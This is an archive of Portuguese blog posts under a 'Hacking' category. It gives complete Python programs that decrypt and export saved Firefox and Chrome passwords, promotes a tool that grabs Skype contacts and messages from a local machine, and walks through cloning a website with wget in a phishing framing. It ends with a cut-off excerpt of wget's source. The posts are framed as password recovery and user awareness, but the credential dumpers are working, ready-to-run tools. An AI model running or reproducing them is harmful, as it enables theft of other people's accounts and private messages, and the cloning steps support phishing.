Arquivo da categoria ‘Hacking’

A Mozilla Foundation é uma fundação sem fins lucrativos que mantém todo o software e projetos Open Source da linha Mozilla, como Firefox, Thunderbird e complementos para os mesmo. Também é responsável por produzir documentação relacionada à internet e promover padrões de produção de conteúdo digital.

O Mozilla Firefox é um navegador livre e multi-plataforma desenvolvido pela Mozilla Foundation com ajuda de centenas de colaboradores. A intenção da fundação é desenvolver um navegador leve, seguro, intuitivo e altamente extensível.

Entre os navegadores mais utilizados da atualidade o Firefox é de longe o mais seguro, a empresa Mozilla desenvolveu um conjunto de bibliotecas de código aberto chamado de Serviços de Segurança de Rede, ou NSS, para fornecer aos desenvolvedores a capacidade de criar aplicativos que atendem a uma ampla variedade de padrões de segurança. O Firefox faz uso de uma API nesta biblioteca chamado Secret Decoder Ring, ou SDR, para facilitar a criptografia de credenciais da conta.

Estes valores são criptografados, e então, armazenados em um banco de dados SQLite chamado signons.sqlite codificado em base64. Tanto o signons.sqlite e key3.db fazem parte do contexto do usuário local. A chave SDR é guardada em um recipiente chamado de PKCS #11, que é um Token encapsulado dentro de um Slot do mesmo tipo.

Como Descriptografar as senhas do Firefox

A poderosa linguagem de programação Python permite que você faça coisas mirabolantes de um modo simples no qual antes era possível apenas com complexos códigos em C. Utilize os links abaixo para saber como o programa funciona e conceitos sobre o qual utilizamos para capturar e exibir as senhas do Firefox:

DA - Firefox Password Recovery - Linux

DA – Firefox Password Recovery – Linux

Requisitos

Linguagem:  Python.

Nivel: Difícil.

Modulos Externos Python: Download WxPython  ou use: aptget install pythonwxgtk2.8

Detalhes Sobre a Criptografia: Network Security Services 

Tipo de criptografia: PK11SDR_Encrypt

Detalhes Sobre o Armazenamento de credenciais Firefox: SQLLite

Local físico de armazenamento das credenciais:  ~/.mozilla/firefox

Nome do banco de dados: key3.db, signongs.sqlite, cert8.db

Multi-Plataforma

A linguagem de programação Python é multi-plataforma, então poderíamos supor que este programa funcionaria em Windows ou Mac sem nenhum problema correto?

Errado! Apesar de 99% deste programa ser multi-plataforma, 1% dele não é! Apenas uma linha de código! Justamente por este motivo preferimos criar este programa para uma versão Linux, para ressaltar que um desenvolvedor deve conhecer o sistema operacional no qual esta programando independente da linguagem ser multi-plataforma ou não, isto se deve aos diversos conceitos entre os sistemas operacionais.

Para Linux utilizamos um arquivo .SO (equivalente a um arquivo .dll para Windows ou um arquivo .dylib para Apple) chamado libnss3.so que é uma biblioteca de segurança (Network Security Service 3) já inclusa em muitas distribuições Linux. Para transportar este código para outra plataforma além do Linux, você pode usar o arquivo C disponível pela Mozilla que você encontra nos links acima ou utilizar a função PK11SDR_Decrypt em algum pacote de biblioteca no sistema operacional de sua preferencia.

Apple: Dynamic Library
Linux: Dynamic Library
Windows: Dynamic Library

Projeto Open Source

Você encontra uma versão deste programa atualizada e convertida para um executável do Linux, e também os códigos fontes da ultima versão desta ferramenta no seguinte link:

Projeto hospedado: https://code.google.com/p/da-firefox-password-recovery/

 

Exemplo:

Neste exemplo criamos um simples programa na linguagem de programação Python que captura os sites e exibe as senha armazenadas pelo navegador Mozilla Firefox.

Licença: http://opensource.org/licenses/MIT

Python

#!/usr/bin/env python
# -*- coding: latin-1 -*-
# Versão 1.0 - Betha
# DaFirefoxMain.py

# The MIT License (MIT)
#
# Copyright (c) 2014 - Ricardo Mantovani - Desenvolvimento Aberto
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in
# all copies or substantial portions of the Software.

# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
# THE SOFTWARE.

# importa modulos
import wx
import wx.grid
import sqlite3
import os
import getpass
import datetime
import platform
from ctypes import *
import glob
import re
import base64
import socket

# Cria classe generica de uma WX.Grid
# A classe abaixo faz parte da documentação WXPython oficial
# Este trecho de código é util para manipular a grade

class GenericTable(wx.grid.PyGridTableBase):
    def __init__(self, data, rowLabels = None, colLabels = None):
        wx.grid.PyGridTableBase.__init__(self)
        self.data = data
        self.rowLabels = rowLabels
        self.colLabels = colLabels

    def GetNumberRows(self):
        return len(self.data)

    def GetNumberCols(self):
        return len(self.data[0])

    def GetColLabelValue(self, col):
        if self.colLabels:
            return self.colLabels[col]

    def GetRowLabelValue(self, row):
        if self.rowLabels:
            return self.rowLabels[row]

    def IsEmptyCell(self, row, col):
        return False

    def GetValue(self, row, col):
        return self.data[row][col]

    def SetValue(self, row, col, value):
        pass   

 # Classes de estruturas de senha
class SECItem(Structure):
   _fields_ = [('type',c_uint),('data',c_void_p),('len',c_uint)]

class secuPWData(Structure):
   _fields_ = [('source',c_ubyte),('data',c_char_p)]

(SECWouldBlock, SECFailure, SECSuccess) = (-2, -1, 0)
(PW_NONE, PW_FROMFILE, PW_PLAINTEXT, PW_EXTERNAL) = (0, 1 ,2 ,3)

# Inicializa Grade
dados = []
colLabels = ["Site (Action URL)", "Usuario (User)", "Senha (Password)"]
rowLabels = []
for linha in range(1, 150):
    rowLabels.append(str(linha))

# Captura arquivos no contexto do usuario
def contexto_usuario():
   appdata = os.getenv('HOME')
   usersdir = appdata+os.sep+".mozilla"+os.sep+'firefox'
   userdir = os.listdir(usersdir)
   dirs=[]
   for u in userdir:
      if os.path.isdir(usersdir + os.sep + u):
         dirs.append(usersdir + os.sep + u)
   return dirs 

# Captura o banco de dados signons.sqlite requer Firefox 3 ou superior
def lesignonDB(userpath,dbname):
   chave.NSS_Init(userpath)
   # Recupera dados de login
   conn = sqlite3.connect(userpath+os.sep+dbname)
   c = conn.cursor()
   c.execute("SELECT * FROM moz_logins;")
   # Descriptografa dados usando PK11SDR_Decrypt
   for row in c:
      # Retorna nome de usuario aplicando base64
      unome.data  = cast(c_char_p(base64.b64decode(row[6])), c_void_p)
      unome.len   = len(base64.b64decode(row[6]))
      # Retorna senha de usuario aplicando base64
      passwd.data = cast(c_char_p(base64.b64decode(row[7])), c_void_p)
      passwd.len  = len(base64.b64decode(row[7]))
      # Descriptografa usuario  aplicando PK11SDR
      chave.PK11SDR_Decrypt(byref(unome), byref(dectexto), byref(passdados))
      usuario =  string_at(dectexto.data,dectexto.len)
      # Descriptografa senha aplicando PK11SDR
      chave.PK11SDR_Decrypt(byref(passwd), byref(dectexto), byref(passdados))
      senha   = string_at(dectexto.data, dectexto.len)
      captura = [row[1], usuario, senha]
      dados.append(captura)
   # Fecha conexões
   c.close()
   conn.close()
   chave.NSS_Shutdown()

# Repeura logins no contexto do usuario
abrirPass = contexto_usuario()

# Le SO externa
chave = CDLL("libnss3.so")

# Cria instancia da classe
passdados = secuPWData()
passdados.source = PW_NONE
passdados.data=0

# Cria instancia da estrutura de criptografia
unome = SECItem()
passwd = SECItem()
dectexto = SECItem()

# Retorna arquivos para desencriptar dados
for u in abrirPass:
   signonfiles = glob.glob(u + os.sep + "signons*.*")
   for s in signonfiles:
      (filepath,filename) = os.path.split(s)
      filetype = re.findall('\.(.*)',filename)[0]
      if filetype.lower() == "sqlite":
         lesignonDB(filepath, filename)

# Cria classe da grid
class SimpleGrid(wx.grid.Grid):
    def __init__(self, parent):
        wx.grid.Grid.__init__(self, parent, -1, pos=(5, 10), size=(850, 240))
        tableBase = GenericTable(dados, rowLabels, colLabels)
        self.SetTable(tableBase)                   

# Cria formulario
class Formulario(wx.Frame):
    def __init__(self, parent):
        # Cria Formulario
        wx.Frame.__init__(self, parent, -1, "DA - Firefox Password Recovery - Desenvolvimento Aberto - 2014", size=(860, 350))
        panel = wx.Panel(self, wx.ID_ANY)

        # Centraliza tela
        self.Center()

        # Cria Menu
        menu = wx.Menu()
        menu.Append(5000, "S&alvar", "Exportar para texto")
        menu.Append(5001, "Sai&r", "Fechar o programa")

        menu1 = wx.Menu()
        menu1.Append(6001, "&Sobre", "Sobre este programa")

        # Cria Barra de menus
        menubarra = wx.MenuBar()
        menubarra.Append(menu, "&Arquivo")
        menubarra.Append(menu1, "&Sobre")
        self.SetMenuBar(menubarra)

        # Barra de status
        statusbar = self.CreateStatusBar(5)

        # Retorna data
        dataA = datetime.datetime.today()
        dataA = dataA.strftime('%d-%b-%Y')

        # Preenche barra de status
        self.SetStatusText("", 0)
        self.SetStatusText(socket.gethostname(), 1)
        self.SetStatusText(getpass.getuser(), 2)
        self.SetStatusText(dataA, 3)
        self.SetStatusText(self.plataforma(), 4)

        # Declara Eventos dos menus
        self.Bind(wx.EVT_MENU, self.OnSalvar, id=5000)
        self.Bind(wx.EVT_MENU, self.OnSair, id=5001)
        self.Bind(wx.EVT_MENU, self.OnSobre, id=6001)

        # Cria botões
        botao1 =   wx.Button(panel, label="Exportar TXT (Export)", pos=(580,280))
        botao1.Bind(wx.EVT_BUTTON, self.OnSalvar)

        botao2 =   wx.Button(panel, label="Fechar (Close)", pos=(740,280))
        botao2.Bind(wx.EVT_BUTTON, self.OnSair)

        botao3 =   wx.Button(panel, label="Sobre (About)", pos=(20,280))
        botao3.Bind(wx.EVT_BUTTON, self.OnSobre)

        # Cria Grid de dados
        grid = SimpleGrid(panel)
        grid.SetColSize(0, 370)
        grid.SetColSize(1, 260)
        grid.SetColSize(2, 138)

    def plataforma(self):
        sistema = "OS: " + platform.system() + \
                  " - " + platform.release() + \
                  " - " + platform.version()
        return sistema

    # Cria evento para Salvar Arquivo.
    def OnSalvar(self, evt):
        saveFileDialog = wx.FileDialog(self, "Salvar Como", "", "",
                                       "Arquivos Texto (*.txt)|*.txt",
                                       wx.FD_SAVE | wx.FD_OVERWRITE_PROMPT)

        if saveFileDialog.ShowModal() == wx.ID_CANCEL: return

        # Cria arquivo e adiciona conteudo
        arquivo = saveFileDialog.GetPath()

        file = open(arquivo, "w")

        conteudo = "DA -Firefox Password Recovery - Powered by Desenvolvimento Aberto 2014\n\n" + \
                   "Sistema Operacional: " + self.plataforma() + "\n" + \
                   "Estação: " + socket.gethostname() + "\n" + \
                   "Usuario: " + getpass.getuser() + "\n" + \
                   "Data Extração: " + datetime.datetime.today().strftime('%d-%b-%Y') + "\n\n" + \
                   "Registros encontrados: \n\n"

        for reg in dados:
            conteudo = conteudo + str(reg) + "\n"
        file.write(str(conteudo))
        file.close()
        saveFileDialog.Destroy()

    # Cria evento de saida
    def OnSair(self, evt):
        self.Close(True)

    # Cria evento sobre
    def OnSobre(self, evt):
        # Cria texto para ferramenta
        texto = "Powered by Desenvolvimento Aberto\n\n" + \
                "Autor: Ricardo Mantovani\n" + \
                "E-Mail: desenvolvimento.aberto@live.com\n" + \
                "Blog: https://desenvolvimentoaberto.wordpress.com"

        # Cria caixa de texto
        msg = wx.MessageBox(texto, 'Info', wx.OK | wx.ICON_INFORMATION)
        msg.ShowModal()

# Inicializa a aplicação
app = wx.App()
frame = Formulario(None)
frame.Show(True)
app.MainLoop()

O Skype é um software que permite comunicação pela Internet através de conexões de voz sobre IP (VoIP). Foi inicialmente criada pelo dinamarquês Janus Friis e pelo sueco Niklas Zennström quando trabalhavam na firma Kazaa.

O aplicativo Skype tinha 663 milhões de usuários registrados no final de 2010. Ele foi comprado pela Microsoft em 2011 por US $ 8,5 bilhões. Sede da divisão Microsoft Skype é em Luxemburgo, mas a maioria da equipe de desenvolvimento e 44% dos funcionários globais da divisão ainda estão situados em Tallinn e Tartu, Estónia.

O serviço permite que os usuários se comuniquem com os colegas por voz usando um microfone, vídeo usando uma webcam e mensagens instantâneas através da Internet. As chamadas telefónicas podem ser colocadas em recipientes compatíveis com as redes de telefonia tradicionais. As chamadas para outros usuários dentro do serviço Skype são gratuitas, enquanto chamadas para telefones fixos e celulares são cobrados através de um sistema de conta de usuário baseada em débito. O Skype também se tornou popular por suas características adicionais, incluindo a transferência de arquivos e videoconferência.

DA - Skype Grab Contacts/Messages

DA – Skype Grab Contacts/Messages

Skype Contatos e Menssagens

Agora que sabemos o que é o Skype, o quanto você acha que sua lista de contatos do Skype esta protegida? As identidades relacionadas a sua conta? Como facebook e outras? E todas as suas conversas?

Ao contrario do MSN Messenger, que possuía uma melhor segurança quanto aos dados do usuário (quem quiser conferir utilize o projeto MsnpSharp no menu Projetos deste site) e utilizava um recipiente de dados especifico. O Skype permite que no contexto do computador local, um usuário mal intencionado possa recuperar todos os dados do usuário, incluindo sua senha, já que o Skype utiliza um banco de dados fora dos “padrões” da Microsoft, que pertence a comunidade Open Source, chamado SQLite, e pode ser encontrado na maquina local, possibilitando um fácil acesso a todos os dados que podem ser recuperados sem a necessidade de login na conta do Skype, exceto as mensagens de conversação caso o usuário desabilite a opção de salvar historico.

DA –  Skype Grab Contact/Messages

É uma pequena ferramenta que recupera os contatos e as possíveis mensagens armazenadas nas configurações do Skype. Mesmo se o usuário não lembrar do seu login ou sua senha, a ferramenta é capaz de identificar todas as contas que foram utilizadas no contexto do usuário local e exibe uma lista de opções das quais as informações podem ser recuperadas.

Está é uma aplicação Open Source em uma versão de testes (Betha) e seu executável e código fonte podem ser baixados no site do projeto hospedado no Google Code:

https://code.google.com/p/da-skype-grab-contacts-messages/

Aplicação é desenvolvida na linguagem de programação C# e  requer a versão 4.5.1 do Microsoft .NET Framework e o driver ADO .NET da empresa SQLite:

System.Data.SQLite ADO .NET Povider: SQLite ADO .NET

Você pode utilizar esta aplicação de um Pen-drive para capturar e salvar os dados armazenados que residem em cada conta do Skype, se utilizada em um computador local. Você pode participar do projeto e nos ajudar na evolução da ferramenta seguindo as instruções no site do projeto.

O Google Chrome é o navegador mais utilizado na internet atualmente, segundo vários sites nacionais e internacionais especializados no assunto, para confirmar basta digitar no Google, O Chrome é um dos navegadores preferidos pelos quesitos, velocidade e segurança.

Segundo a empresa Google: “O Google Chrome foi projetado para manter você mais protegido e seguro na web com uma proteção integrada contra malware e phishing, atualizações automáticas para garantir que você tenha as últimas atualizações de segurança e muito mais…”.

Isto todos concordamos! Mas uma combinação fatal formada pelo, Google Chrome + Windows + Usuário, pode levar toda esta tecnologia de segurança por agua a baixo. Isto porque se analisarmos o conceito de segurança do sistema operacional Windows no contexto do usuário local, somado ao banco de dados pra lá de manjado que o Google escolheu para guardar suas credenciais criptografadas (SqlLite3), associado a um usuário que prefere comodidade ao ter que digitar sempre sua senha.

Google Chrome

Google Chrome

Está pronto, um perigoso coquetel, e talvez amargo de ser saboreado, pois pode levar você a perder todas as suas credencias dos sites que você mais utiliza como: Gmail, Hotmail, Facebook, Instagram e qualquer outro site no qual você escolher salvar no seu navegador. Não se preocupe se é necessário descriptografar as senhas no contexto do usuário que as criptografou um desenvolvedor mal intencionado pode providenciar isto facilmente.

Como Descriptografar as senhas do Google Chrome

A poderosa linguagem de programação Python permite que você faça coisas mirabolantes de um modo simples no qual antes era possível apenas com complexos códigos em C. Utilize os links abaixo para saber como o programa funciona e conceitos sobre o qual utilizamos para capturar e exibir as senhas do Google Chrome

DA - Google Chrome Password Recovery

DA – Google Chrome Password Recovery

Requisitos

Linguagem:  Python.

Nivel: Fácil.

Modulos Externos Python: Download WxPython PyWin32

Detalhes Sobre a Criptografia: CryptUnprotectData

Detalhes Sobre o Armazenamento de credenciais Google Chrome: SQLLite

Local físico de armazenamento das credenciais: C:\Users\Usuario\AppData\Local\Google\Chrome\User Data\Default

Nome do banco de dados: Login Data

Projeto Open Source

Você encontra uma versão deste programa atualizada e convertida para um executável do Windows, e também os códigos fontes da ultima versão desta ferramenta no seguinte link:

Projeto hospedado: https://code.google.com/p/google-chome-pass-recovery/source/browse/

 

Exemplo:

Neste exemplo criamos um simples programa na linguagem de programação Python que captura os sites e exibe as senha armazenadas pelo navegador Google Chrome.

Licença: http://opensource.org/licenses/MIT

Python

#!/usr/bin/env python
# -*- coding: latin-1 -*-
# Versão 1.2 - Betha
# CapturaSenhaChrome.py

# The MIT License (MIT)
#
# Copyright (c) 2014 - Ricardo Mantovani - Desenvolvimento Aberto
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in
# all copies or substantial portions of the Software.

# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
# THE SOFTWARE.

# importa modulos
import wx
import wx.grid
import win32crypt
import sqlite3
import os
import getpass
import datetime
import platform

# Cria classe generica de uma WX.Grid
# A classe abaixo faz parte da documentação WXPython oficial
# Este trecho de código é util para manipular a grade

class GenericTable(wx.grid.PyGridTableBase):
    def __init__(self, data, rowLabels = None, colLabels = None):
        wx.grid.PyGridTableBase.__init__(self)
        self.data = data
        self.rowLabels = rowLabels
        self.colLabels = colLabels

    def GetNumberRows(self):
        return len(self.data)

    def GetNumberCols(self):
        return len(self.data[0])

    def GetColLabelValue(self, col):
        if self.colLabels:
            return self.colLabels[col]

    def GetRowLabelValue(self, row):
        if self.rowLabels:
            return self.rowLabels[row]

    def IsEmptyCell(self, row, col):
        return False

    def GetValue(self, row, col):
        return self.data[row][col]

    def SetValue(self, row, col, value):
        pass   

# Inicializa Grade
dados = []
colLabels = ["Site (Action URL)", "Usuário (User)", "Senha (Password)"]
rowLabels = []
for linha in range(1, 150):
    rowLabels.append(str(linha))

# Conecta ao banco de dados do usuario local
# Requer elevação de privilegios se o Chrome estiver aberto
conn = sqlite3.connect(os.getenv("APPDATA") + "\..\Local\Google\Chrome\User Data\Default\Login Data")
cursor = conn.cursor()

# Captura informações de login
cursor.execute('SELECT action_url, username_value, password_value FROM logins')

# Retorna resultados
resultado = cursor.fetchall()
for result in resultado:
  # Descriptografa senha
  # CryptUnprotectData requer o contexto do usuario local
  senha = win32crypt.CryptUnprotectData(result[2], None, None, None, 0)[1]
  if senha:
      captura = [result[0], result[1], senha]
      dados.append(captura)

# Cria classe da grid
class SimpleGrid(wx.grid.Grid):
    def __init__(self, parent):
        wx.grid.Grid.__init__(self, parent, -1, pos=(5, 10), size=(850, 240))
        tableBase = GenericTable(dados, rowLabels, colLabels)
        self.SetTable(tableBase)                   

# Cria formulario

class Formulario(wx.Frame):
    def __init__(self, parent):
        # Cria Formulario
        wx.Frame.__init__(self, parent, -1, "Google Chrome Password Recovery", size=(880, 350))
        panel = wx.Panel(self, wx.ID_ANY)

        # Cria Menu
        menu = wx.Menu()
        menu.Append(5000, "S&alvar")
        menu.Append(5001, "Sai&r")

        menu1 = wx.Menu()
        menu1.Append(6001, "&Sobre", "Informação sobre este programa")

        # Cria Barra de menus
        menubarra = wx.MenuBar()
        menubarra.Append(menu, "&Arquivo")
        menubarra.Append(menu1, "&Sobre")
        self.SetMenuBar(menubarra)

        # Barra de status
        statusbar = self.CreateStatusBar(5)

        # Retorna data
        dataA = datetime.datetime.today()
        dataA = dataA.strftime('%d-%b-%Y')

        # Set today date in the second field
        self.SetStatusText("Estação: " + os.environ['COMPUTERNAME'], 0)
        self.SetStatusText("Usuario: " + getpass.getuser(), 1)
        self.SetStatusText("Data Atual: " + dataA, 2)
        self.SetStatusText(self.plataforma(), 3)
        self.SetStatusText("Desenvolvimento Aberto - 2014", 4)

        # Declara Eventos dos menus
        self.Bind(wx.EVT_MENU, self.OnSalvar, id=5000)
        self.Bind(wx.EVT_MENU, self.OnSair, id=5001)
        self.Bind(wx.EVT_MENU, self.OnSobre, id=6001)

        # Cria Grid de dados
        grid = SimpleGrid(panel)
        grid.SetColSize(0, 430)
        grid.SetColSize(1, 230)
        grid.SetColSize(2, 108)

    def plataforma(self):
        sistema = "OS: " + platform.system() + \
                  " - " + platform.release() + \
                  " - " + platform.version()
        return sistema

    # Cria evento para Salvar Arquivo.
    def OnSalvar(self, evt):
        saveFileDialog = wx.FileDialog(self, "Salvar Como", "", "",
                                       "Arquivos Texto (*.txt)|*.txt",
                                       wx.FD_SAVE | wx.FD_OVERWRITE_PROMPT)

        if saveFileDialog.ShowModal() == wx.ID_CANCEL: return

        # Cria arquivo e adiciona conteudo
        arquivo = saveFileDialog.GetPath()

        file = open(arquivo, "w")

        conteudo = "Google Chrome Password Recovery - Powered by Desenvolvimento Aberto 2014\n\n" + \
                   "Sistema Operacional: " + self.plataforma().replace("OS:","") + "\n" + \
                   "Estação: " + os.environ['COMPUTERNAME'] + "\n" + \
                   "Usuario: " + getpass.getuser() + "\n" + \
                   "Data Extração: " + datetime.datetime.today().strftime('%d-%b-%Y') + "\n\n" + \
                   "Registros encontrados: \n\n"

        for reg in dados:
            conteudo = conteudo + str(reg) + "\n"
        file.write(str(conteudo))
        file.close()
        saveFileDialog.Destroy()

    # Cria evento de saida
    def OnSair(self, evt):
        self.Close(True)

    # Cria evento sobre
    def OnSobre(self, evt):
        # Cria texto para ferramenta
        texto = "Powered by Desenvolvimento Aberto\n\n" + \
                "Autor: Ricardo Mantovani\n" + \
                "E-mail: desenvolvimento.aberto@live.com\n" + \
                "Versão: 1.2 - Betha\n\n" + \
                "Coogle Code:\n" + \
                "http://code.google.com/p/google-chome-pass-recovery"
        # Cria caixa de texto
        msg = wx.MessageBox(texto, 'Info', wx.OK | wx.ICON_INFORMATION)
        msg.ShowModal()

# Inicializa a aplicação
app = wx.App()
frame = Formulario(None)
frame.Show(True)
app.MainLoop()

Wget – Como Clonar Sites – C – Linux

Publicado: 7 de agosto de 2014 em Hacking

Você sabe que o mundo da internet é recheado de perigos e os mais comuns são os vírus, worms, malwares e cavalos de troia, estes são pequenos programas criados para causar algum dano ao computador, seja apagando dados, capturando informações ou alterando o funcionamento normal da máquina. Com o combate intensivo a estas enfermidades, as empresas de antivírus atualizam constantemente nossos computadores com vacinas e proteções contra estas pragas virtuais, sendo assim desenvolvedores mal intencionados encontram outras formas, muitas vezes até mais simples para conseguir enganar e prejudicar o usuário final, e nem sempre o perigo vem da construção de complexos códigos e programas mirabolantes, e a forma mais fácil de roubar dados de um usuário é fazer com que o próprio usuário os entregue.

Cuidado com seus dados pessoais

Por este motivo tenha cuidado ao alimentar dados pessoais, mesmo em sites conhecidos, pois agora você vai aprender como é fácil cair em uma armadilha que pode custar muito caro. Se você é um aficionado por tecnologia e gosta de saber como as coisas são feitas realmente, você pode simular a clonagem de um site no seu computador.

Vamos criar um clone em um servidor web padrão instalado em nosso sistema operacional. Tudo que precisamos é um sistema operacional Linux padrão, um servidor web, e conhecimento básico na linguagem de scripts HTML. Isso! e nada mais!

WGet

GNU Wget é um programa livre, de fonte aberto, escrito com a poderosa linguagem de programação que propicia o download de dados da web. É parte do projeto GNU. Seu nome deriva de World Wide Web e get. Ele suporta os protocolos HTTP, HTTPS e FTP. A instalação padrão do Ubuntu já contempla este programa. O Wget possui vários parâmetros e você pode efetuar downloads específicos ou até mesmo de sites inteiros. Na verdade este programa é muito útil, porem pode ser usado por usuários mal intencionados para clonar sites.

Pagina oficial: https://www.gnu.org/software/wget/

Manual: Wget Manual

 

Como Clonar Um Site

1 – Primeiro você precisa de um servidor web instalado em seu computador, você pode usar o servidor gratuito Apache2, caso você queira saber como instalar e configurar o servidor Apache em Linux, clique aqui.

Site Windows - Original

Site Windows – Original

 

2 – Faremos um teste na pagina oficial do Windows 8. Após instalar e configurar o Apache, crie uma pasta qualquer no diretório de sua preferencia, abra o terminal do Linux na pasta que você criou e digite o seguinte comando:


wget -S http://windows.microsoft.com/pt-br/windows/home

Wget - Terminal

Wget – Terminal

 

3 – Após o download você pode renomear a pagina baixada para index.html e modifica-la como bem entender no editor de sua preferencia, caso queira usar o padrão Linux, use o GEdit. Copie o arquivo baixado e modificado para o diretório www do Apache, abra o browser e digite localhost:

Site - Windows - Clonado - Localhost

Site – Windows – Clonado – Localhost

 

Pronto! Como você pode ver localhost é o servidor web do computador local, um servidor web como qualquer outro onde os sites são hospedados, geralmente desenvolvedores mal intencionados utilizam um domínio muito parecido com o domínio utilizado pelo site que foi clonado, tentando enganar os usuários mais desatentos, estes sites são hospedados em servidores web de outros países dificultando assim sua completa identificação.

Quase sempre estes sites coletam informações pessoais como numero de cartão de crédito, senhas, contas bancarias e outros dados relevantes que possam causar algum tipo de prejuízo ao usuário dos sites originais, outras vezes estes sites servem apenas para contaminar o computador do usuário com vírus ou outros tipo softwares que podem resultar em controle total do computador. Assim que seu objetivo é alcançado estes sites simplesmente desaparecem.

 

Exemplo:

Neste exemplo utilizamos o programa wget pré-instalado no Linux para clonar a pagina índice do site do Windows, modificamos o HTML da pagina e a colamos em um servidor web de testes no computador local. Visto que a pagina clonada possui os links originais e é totalmente utilizável.

Caso você queira aprender como funciona este programa você pode baixar o código fonte deste link:
Wget source code: http://ftp.gnu.org/gnu/wget/

C

Use o código abaixo para conhecer os parâmetros disponibilizados pelo programa wget de um ponto de vista do desenvolvedor.

Main.c

/* Command line parsing.
   Copyright (C) 1995, 1996, 1997, 1998 Free Software Foundation, Inc.

This file is part of Wget.

This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.

This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
GNU General Public License for more details.

You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.  */

#include <config.h>

#include <stdio.h>
#include <stdlib.h>
#include <ctype.h>
#ifdef HAVE_UNISTD_H
# include <unistd.h>
#endif /* HAVE_UNISTD_H */
#include <sys/types.h>
#ifdef HAVE_STRING_H
# include <string.h>
#else
# include <strings.h>
#endif /* HAVE_STRING_H */
#ifdef HAVE_SIGNAL_H
# include <signal.h>
#endif
#ifdef HAVE_NLS
#ifdef HAVE_LOCALE_H
# include <locale.h>
#endif /* HAVE_LOCALE_H */
#endif /* HAVE_NLS */

#define OPTIONS_DEFINED_HERE	/* for options.h */

#include "wget.h"
#include "utils.h"
#include "getopt.h"
#include "init.h"
#include "retr.h"
#include "recur.h"
#include "host.h"

#ifndef PATH_SEPARATOR
# define PATH_SEPARATOR '/'
#endif

extern char *version_string;

#ifndef errno
extern int errno;
#endif

struct options opt;

/* From log.c.  */
void log_init PARAMS ((const char *, int));
void log_close PARAMS ((void));
void redirect_output PARAMS ((const char *));

static RETSIGTYPE redirect_output_signal PARAMS ((int));

const char *exec_name;

/* Initialize I18N.  The initialization amounts to invoking
   setlocale(), bindtextdomain() and textdomain().
   Does nothing if NLS is disabled or missing.  */
static void
i18n_initialize (void)
{
  /* If HAVE_NLS is defined, assume the existence of the three
     functions invoked here.  */
#ifdef HAVE_NLS
  /* Set the current locale.  */
  /* Here we use LC_MESSAGES instead of LC_ALL, for two reasons.
     First, message catalogs are all of I18N Wget uses anyway.
     Second, setting LC_ALL has a dangerous potential of messing
     things up.  For example, when in a foreign locale, Solaris
     strptime() fails to handle international dates correctly, which
     makes http_atotm() malfunction.  */
  setlocale (LC_MESSAGES, "");
  /* Set the text message domain.  */
  bindtextdomain ("wget", LOCALEDIR);
  textdomain ("wget");
#endif /* HAVE_NLS */
}

/* Print the usage message.  */
static void
print_usage (void)
{
  printf (_("Usage: %s [OPTION]... [URL]...\n"), exec_name);
}

/* Print the help message, describing all the available options.  If
   you add an option, be sure to update this list.  */
static void
print_help (void)
{
  printf (_("GNU Wget %s, a non-interactive network retriever.\n"),
	  version_string);
  print_usage ();
  /* Had to split this in parts, so the #@@#%# Ultrix compiler and cpp
     don't bitch.  Also, it makes translation much easier.  */
  printf ("%s%s%s%s%s%s%s%s%s%s", _("\
\n\
Mandatory arguments to long options are mandatory for short options too.\n\
\n"), _("\
Startup:\n\
  -V,  --version           display the version of Wget and exit.\n\
  -h,  --help              print this help.\n\
  -b,  --background        go to background after startup.\n\
  -e,  --execute=COMMAND   execute a `.wgetrc\' command.\n\
\n"), _("\
Logging and input file:\n\
  -o,  --output-file=FILE     log messages to FILE.\n\
  -a,  --append-output=FILE   append messages to FILE.\n\
  -d,  --debug                print debug output.\n\
  -q,  --quiet                quiet (no output).\n\
  -v,  --verbose              be verbose (this is the default).\n\
  -nv, --non-verbose          turn off verboseness, without being quiet.\n\
  -i,  --input-file=FILE      read URL-s from file.\n\
  -F,  --force-html           treat input file as HTML.\n\
\n"), _("\
Download:\n\
  -t,  --tries=NUMBER           set number of retries to NUMBER (0 unlimits).\n\
  -O   --output-document=FILE   write documents to FILE.\n\
  -nc, --no-clobber             don\'t clobber existing files.\n\
  -c,  --continue               restart getting an existing file.\n\
       --dot-style=STYLE        set retrieval display style.\n\
  -N,  --timestamping           don\'t retrieve files if older than local.\n\
